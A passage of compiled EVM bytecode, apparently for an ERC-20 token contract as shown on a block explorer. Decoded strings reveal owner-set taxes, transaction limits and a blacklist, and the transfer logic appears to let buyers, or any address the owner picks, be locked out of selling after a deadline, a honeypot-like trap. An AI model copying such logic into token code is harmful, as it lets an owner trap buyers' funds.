be565b61137d565b6040516105de9190613084565b60405180910390f35b3480156105f357600080fd5b506105fc6113c6565b005b34801561060a57600080fd5b5061061361144e565b604051610620919061322a565b60405180910390f35b34801561063557600080fd5b5061063e61145f565b60405161064b919061344d565b60405180910390f35b34801561066057600080fd5b5061067b600480360381019061067691906132be565b611485565b604051610688919061322a565b60405180910390f35b34801561069d57600080fd5b506106a66114a5565b6040516106b39190613084565b60405180910390f35b3480156106c857600080fd5b506106d16114ab565b6040516106de919061344d565b60405180910390f35b3480156106f357600080fd5b506106fc6114d4565b604051610709919061344d565b60405180910390f35b34801561071e57600080fd5b5061073960048036038101906107349190613468565b6114fa565b005b34801561074757600080fd5b50610750611612565b60405161075d919061312f565b60405180910390f35b34801561077257600080fd5b5061078d600480360381019061078891906131db565b61164f565b60405161079a919061322a565b60405180910390f35b3480156107af57600080fd5b506107b86116fb565b6040516107c5919061344d565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f091906131db565b611721565b604051610802919061322a565b60405180910390f35b34801561081757600080fd5b50610832600480360381019061082d91906132eb565b61173f565b005b34801561084057600080fd5b5061085b6004803603810190610856919061327e565b611816565b005b34801561086957600080fd5b5061087261197c565b604051610880929190613415565b60405180910390f35b34801561089557600080fd5b506108b060048036038101906108ab9190613617565b6119a8565b005b3480156108be57600080fd5b506108d960048036038101906108d4919061303e565b611ab9565b005b3480156108e757600080fd5b5061090260048036038101906108fd9190613673565b611b52565b60405161090f9190613084565b60405180910390f35b34801561092457600080fd5b5061092d611bd9565b60405161093a919061322a565b60405180910390f35b34801561094f57600080fd5b5061096a600480360381019061096591906132be565b611bec565b6040516109779190613084565b60405180910390f35b34801561098c57600080fd5b50610995611c04565b6040516109a29190613084565b60405180910390f35b3480156109b757600080fd5b506109d260048036038101906109cd9190613673565b611c0a565b005b3480156109e057600080fd5b506109fb60048036038101906109f691906132be565b611d0c565b005b348015610a0957600080fd5b50610a246004803603810190610a1f91906132eb565b611e03565b005b348015610a3257600080fd5b50610a3b611eda565b604051610a489190613712565b60405180910390f35b348015610a5d57600080fd5b50610a66611f00565b604051610a739190613084565b60405180910390f35b348015610a8857600080fd5b50610a91611f06565b604051610a9f92919061372d565b60405180910390f35b610ab0611f18565b73ffffffffffffffffffffffffffffffffffffffff16610ace6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610b24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1b906137a2565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b600d5481565b60606040518060400160405280600281526020017f4f47000000000000000000000000000000000000000000000000000000000000815250905090565b6000610b97610b90611f18565b8484611f20565b6001905092915050565b6000600c54905090565b610bb3611f18565b73ffffffffffffffffffffffffffffffffffffffff16610bd16114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610c27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1e906137a2565b60405180910390fd5b60008183610c3591906137f1565b60ff1690506031811115610c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7590613872565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610d39611f18565b73ffffffffffffffffffffffffffffffffffffffff16610d576114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906137a2565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e10611f18565b73ffffffffffffffffffffffffffffffffffffffff16610e2e6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7b906137a2565b60405180910390fd5b6009600a610e9291906139c5565b81610e9d9190613a10565b600d8190555050565b6000610eb38484846120e9565b610f5384610ebf611f18565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f09611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4e9190613a52565b611f20565b600190509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b6000611029610f94611f18565b848460046000610fa2611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110249190613a86565b611f20565b6001905092915050565b61103b611f18565b73ffffffffffffffffffffffffffffffffffffffff166110596114ab565b73ffffffffffffffffffffffffffffffffffffffff16146110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a6906137a2565b60405180910390fd5b60006009600a6110bf91906139c5565b6103e86005600c546110d19190613a10565b6110db9190613ae9565b6110e59190613ae9565b90508083101580156110f75750808210155b611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90613b66565b60405180910390fd5b6009600a61114491906139c5565b8361114f9190613a10565b600e819055506009600a61116391906139c5565b8261116e9190613a10565b600f81905550505050565b611181611f18565b73ffffffffffffffffffffffffffffffffffffffff1661119f6114ab565b73ffffffffffffffffffffffffffffffffffffffff16146111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906137a2565b60405180910390fd5b80426112019190613a86565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60128060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b61127c611f18565b73ffffffffffffffffffffffffffffffffffffffff1661129a6114ab565b73ffffffffffffffffffffffffffffffffffffffff16146112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906137a2565b60405180910390fd5b80471015611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90613bd2565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611379573d6000803e3d6000fd5b5050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113ce611f18565b73ffffffffffffffffffffffffffffffffffffffff166113ec6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611439906137a2565b60405180910390fd5b61144c60006128e3565b565b60158054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611502611f18565b73ffffffffffffffffffffffffffffffffffffffff166115206114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d906137a2565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8483600a6115a09190613bf2565b856115ab9190613a10565b6040518363ffffffff1660e01b81526004016115c8929190613c3d565b6020604051808303816000875af11580156115e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160b9190613c7b565b5050505050565b60606040518060400160405280600281526020017f4f47000000000000000000000000000000000000000000000000000000000000815250905090565b60006116f161165c611f18565b84846004600061166a611f18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ec9190613a52565b611f20565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061173561172e611f18565b84846120e9565b6001905092915050565b611747611f18565b73ffffffffffffffffffffffffffffffffffffffff166117656114ab565b73ffffffffffffffffffffffffffffffffffffffff16146117bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b2906137a2565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61181e611f18565b73ffffffffffffffffffffffffffffffffffffffff1661183c6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611892576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611889906137a2565b60405180910390fd5b600081836118a091906137f1565b60ff16905060318111156118e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e090613872565b60405180910390fd5b60405180604001604052808460ff1681526020018360ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff1602179055509050507ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48060405160405180910390a1505050565b60138060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b6119b0611f18565b73ffffffffffffffffffffffffffffffffffffffff166119ce6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1b906137a2565b60405180910390fd5b60005b8251811015611ab4578160076000858481518110611a4857611a47613ca8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611aac90613cd7565b915050611a27565b505050565b611ac1611f18565b73ffffffffffffffffffffffffffffffffffffffff16611adf6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c906137a2565b60405180910390fd5b80600a60006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b600b5481565b611c12611f18565b73ffffffffffffffffffffffffffffffffffffffff16611c306114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7d906137a2565b60405180910390fd5b81601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611d14611f18565b73ffffffffffffffffffffffffffffffffffffffff16611d326114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f906137a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90613d91565b60405180910390fd5b611e00816128e3565b50565b611e0b611f18565b73ffffffffffffffffffffffffffffffffffffffff16611e296114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e76906137a2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b60108060000154908060010154905082565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8690613e23565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590613eb5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120dc9190613084565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90613f47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90613fd9565b60405180910390fd5b6000811161220a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122019061406b565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122ae5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e4906140d7565b60405180910390fd5b60158054906101000a900460ff1661244357600e54811115806123595750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238f90614169565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661244257600f54816123f68461137d565b6124009190613a86565b1115612441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612438906141fb565b60405180910390fd5b5b5b600d5461244f3061137d565b1015801561246a5750601560149054906101000a900460ff16155b80156124c45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561250357506124d36114ab565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561254257506125126114ab565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125505761254f6129a7565b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461259f9190613a52565b925050819055506000819050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561264f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612822576126af8285600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612b7c565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561271a5750600a60009054906101000a900460ff165b1561278d57600b600081548092919061273290613cd7565b9190505550600954426127459190613a86565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612821565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461282057600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421061281f57600080fd5b5b5b5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128719190613a86565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128d59190613084565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601560146101000a81548160ff02191690831515021790555060006010600101546010600001546129da9190613a86565b90506000811115612b325760006129f082612d98565b905060008260106000015483612a069190613a10565b612a109190613ae9565b905060008360106001015484612a269190613a10565b612a309190613ae9565b90506000821115612ab057601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612aa3573d6000803e3d6000fd5b5060006010600001819055505b6000811115612b2e57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b21573d6000803e3d6000fd5b5060006010600101819055505b5050505b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a1506000601560146101000a81548160ff021916908315150217905550565b60008060126040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090508215612c185760136040518060400160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff168152505090505b60006064826000015160ff1687612c2f9190613a10565b612c399190613ae9565b905060006064836020015160ff1688612c529190613a10565b612c5c9190613ae9565b90506000821115612c84578160106000016000828254612c7c9190613a86565b925050819055505b6000811115612caa578060106001016000828254612ca29190613a86565b925050819055505b60008183612cb89190613a86565b905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d099190613a86565b925050819055506000811115612d7f573073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d769190613084565b60405180910390a35b8088612d8b9190613a52565b9450505050509392505050565b6000804790506000600267ffffffffffffffff811115612dbb57612dba6134d4565b5b604051908082528060200260200182016040528015612de95781602001602082028036833780820191505090505b5090503081600081518110612e0157612e00613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ea8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ecc9190614230565b81600181518110612ee057612edf613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f4730600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686611f20565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612fab959493929190614356565b600060405180830381600087803b158015612fc557600080fd5b505af1158015612fd9573d6000803e3d6000fd5b505050508147612fe99190613a52565b92505050919050565b6000604051905090565b600080fd5b600080fd5b60008115159050919050565b61301b81613006565b811461302657600080fd5b50565b60008135905061303881613012565b92915050565b60006020828403121561305457613053612ffc565b5b600061306284828501613029565b91505092915050565b6000819050919050565b61307e8161306b565b82525050565b60006020820190506130996000830184613075565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130d95780820151818401526020810190506130be565b60008484015250505050565b6000601f19601f8301169050919050565b60006131018261309f565b61310b81856130aa565b935061311b8185602086016130bb565b613124816130e5565b840191505092915050565b6000602082019050818103600083015261314981846130f6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061317c82613151565b9050919050565b61318c81613171565b811461319757600080fd5b50565b6000813590506131a981613183565b92915050565b6131b88161306b565b81146131c357600080fd5b50565b6000813590506131d5816131af565b92915050565b600080604083850312156131f2576131f1612ffc565b5b60006132008582860161319a565b9250506020613211858286016131c6565b9150509250929050565b61322481613006565b82525050565b600060208201905061323f600083018461321b565b92915050565b600060ff82169050919050565b61325b81613245565b811461326657600080fd5b50565b60008135905061327881613252565b92915050565b6000806040838503121561329557613294612ffc565b5b60006132a385828601613269565b92505060206132b485828601613269565b9150509250929050565b6000602082840312156132d4576132d3612ffc565b5b60006132e28482850161319a565b91505092915050565b6000806040838503121561330257613301612ffc565b5b60006133108582860161319a565b925050602061332185828601613029565b9150509250929050565b60006020828403121561334157613340612ffc565b5b600061334f848285016131c6565b91505092915050565b60008060006060848603121561337157613370612ffc565b5b600061337f8682870161319a565b93505060206133908682870161319a565b92505060406133a1868287016131c6565b9150509250925092565b6133b481613245565b82525050565b60006020820190506133cf60008301846133ab565b92915050565b600080604083850312156133ec576133eb612ffc565b5b60006133fa858286016131c6565b925050602061340b858286016131c6565b9150509250929050565b600060408201905061342a60008301856133ab565b61343760208301846133ab565b9392505050565b61344781613171565b82525050565b6000602082019050613462600083018461343e565b92915050565b6000806000806080858703121561348257613481612ffc565b5b60006134908782880161319a565b94505060206134a18782880161319a565b93505060406134b2878288016131c6565b92505060606134c3878288016131c6565b91505092959194509250565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61350c826130e5565b810181811067ffffffffffffffff8211171561352b5761352a6134d4565b5b80604052505050565b600061353e612ff2565b905061354a8282613503565b919050565b600067ffffffffffffffff82111561356a576135696134d4565b5b602082029050602081019050919050565b600080fd5b600061359361358e8461354f565b613534565b905080838252602082019050602084028301858111156135b6576135b561357b565b5b835b818110156135df57806135cb888261319a565b8452602084019350506020810190506135b8565b5050509392505050565b600082601f8301126135fe576135fd6134cf565b5b813561360e848260208601613580565b91505092915050565b6000806040838503121561362e5761362d612ffc565b5b600083013567ffffffffffffffff81111561364c5761364b613001565b5b613658858286016135e9565b925050602061366985828601613029565b9150509250929050565b6000806040838503121561368a57613689612ffc565b5b60006136988582860161319a565b92505060206136a98582860161319a565b9150509250929050565b6000819050919050565b60006136d86136d36136ce84613151565b6136b3565b613151565b9050919050565b60006136ea826136bd565b9050919050565b60006136fc826136df565b9050919050565b61370c816136f1565b82525050565b60006020820190506137276000830184613703565b92915050565b60006040820190506137426000830185613075565b61374f6020830184613075565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061378c6020836130aa565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006137fc82613245565b915061380783613245565b9250828201905060ff8111156138205761381f6137c2565b5b92915050565b7f43616e2774207365742074617820746f6f206869676800000000000000000000600082015250565b600061385c6016836130aa565b915061386782613826565b602082019050919050565b6000602082019050818103600083015261388b8161384f565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156138e9578086048111156138c5576138c46137c2565b5b60018516156138d45780820291505b80810290506138e285613892565b94506138a9565b94509492505050565b60008261390257600190506139be565b8161391057600090506139be565b816001811461392657600281146139305761395f565b60019150506139be565b60ff841115613942576139416137c2565b5b8360020a915084821115613959576139586137c2565b5b506139be565b5060208310610133831016604e8410600b84101617156139945782820a90508381111561398f5761398e6137c2565b5b6139be565b6139a1848484600161389f565b925090508184048111156139b8576139b76137c2565b5b81810290505b9392505050565b60006139d08261306b565b91506139db83613245565b9250613a087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846138f2565b905092915050565b6000613a1b8261306b565b9150613a268361306b565b9250828202613a348161306b565b91508282048414831517613a4b57613a4a6137c2565b5b5092915050565b6000613a5d8261306b565b9150613a688361306b565b9250828203905081811115613a8057613a7f6137c2565b5b92915050565b6000613a918261306b565b9150613a9c8361306b565b9250828201905080821115613ab457613ab36137c2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613af48261306b565b9150613aff8361306b565b925082613b0f57613b0e613aba565b5b828204905092915050565b7f496e76616c69642053657474696e677300000000000000000000000000000000600082015250565b6000613b506010836130aa565b9150613b5b82613b1a565b602082019050919050565b60006020820190508181036000830152613b7f81613b43565b9050919050565b7f496e73756666696369656e74204554482062616c616e63650000000000000000600082015250565b6000613bbc6018836130aa565b9150613bc782613b86565b602082019050919050565b60006020820190508181036000830152613beb81613baf565b9050919050565b6000613bfd8261306b565b9150613c088361306b565b9250613c357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846138f2565b905092915050565b6000604082019050613c52600083018561343e565b613c5f6020830184613075565b9392505050565b600081519050613c7581613012565b92915050565b600060208284031215613c9157613c90612ffc565b5b6000613c9f84828501613c66565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613ce28261306b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d1457613d136137c2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613d7b6026836130aa565b9150613d8682613d1f565b604082019050919050565b60006020820190508181036000830152613daa81613d6e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e0d6024836130aa565b9150613e1882613db1565b604082019050919050565b60006020820190508181036000830152613e3c81613e00565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e9f6022836130aa565b9150613eaa82613e43565b604082019050919050565b60006020820190508181036000830152613ece81613e92565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613f316025836130aa565b9150613f3c82613ed5565b604082019050919050565b60006020820190508181036000830152613f6081613f24565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc36023836130aa565b9150613fce82613f67565b604082019050919050565b60006020820190508181036000830152613ff281613fb6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006140556029836130aa565b915061406082613ff9565b604082019050919050565b6000602082019050818103600083015261408481614048565b9050919050565b7f426c61636b6c69737465642c2063616e27742074726164650000000000000000600082015250565b60006140c16018836130aa565b91506140cc8261408b565b602082019050919050565b600060208201905081810360008301526140f0816140b4565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b60006141536029836130aa565b915061415e826140f7565b604082019050919050565b6000602082019050818103600083015261418281614146565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d617860008201527f57616c6c65742e00000000000000000000000000000000000000000000000000602082015250565b60006141e56027836130aa565b91506141f082614189565b604082019050919050565b60006020820190508181036000830152614214816141d8565b9050919050565b60008151905061422a81613183565b92915050565b60006020828403121561424657614245612ffc565b5b60006142548482850161421b565b91505092915050565b6000819050919050565b600061428261427d6142788461425d565b6136b3565b61306b565b9050919050565b61429281614267565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6142cd81613171565b82525050565b60006142df83836142c4565b60208301905092915050565b6000602082019050919050565b600061430382614298565b61430d81856142a3565b9350614318836142b4565b8060005b8381101561434957815161433088826142d3565b975061433b836142eb565b92505060018101905061431c565b5085935050505092915050565b600060a08201905061436b6000830188613075565b6143786020830187614289565b818103604083015261438a81866142f8565b9050614399606083018561343e565b6143a66080830184613075565b969550505050505056fea2646970667358221220d2b274de745e9af5138e83f14f23e82c0e112380301bb1941aae5a82122da16a64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102765760003560e01c80638c0b5e221161014f578063cfe9dde0116100c1578063f0c830fc1161007a578063f0c830fc146109ab578063f2fde38b146109d4578063f837ae07146109fd578063f887ea4014610a26578063f8b45b0514610a51578063f9d0ee9414610a7c5761027d565b8063cfe9dde014610889578063d3752d9b146108b2578063dd62ed3e146108db578063e0a877c814610918578063ee9a5d8214610943578063ef07a182146109805761027d565b8063a457c2d711610113578063a457c2d714610766578063a8aa1b31146107a3578063a9059cbb146107ce578063b72a47341461080b578063cb0e6f7b14610834578063cc1776d31461085d5761027d565b80638c0b5e22146106915780638da5cb5b146106bc5780638ea5220f146106e757806390ea2c781461071257806395d89b411461073b5761027d565b8063313ce567116101e85780635966c81e116101ac5780635966c81e1461058157806370a08231146105aa578063715018a6146105e7578063747b900e146105fe57806375f0a87414610629578063768dc710146106545761027d565b8063313ce5671461049b57806339509351146104c65780634ba422bc146105035780634cf279971461052c5780634f7041a5146105555761027d565b80631b0f93811161023a5780631b0f9381146103695780631cdd3be3146103925780631e17989e146103cf5780631e9ec60d146103f857806323b872dd1461042157806328c61f411461045e5761027d565b806302f69b7f146102825780630445b667146102ab57806306fdde03146102d6578063095ea7b31461030157806318160ddd1461033e5761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a4919061303e565b610aa8565b005b3480156102b757600080fd5b506102c0610b40565b6040516102cd9190613084565b60405180910390f35b3480156102e257600080fd5b506102eb610b46565b6040516102f8919061312f565b60405180910390f35b34801561030d57600080fd5b50610328600480360381019061032391906131db565b610b83565b604051610335919061322a565b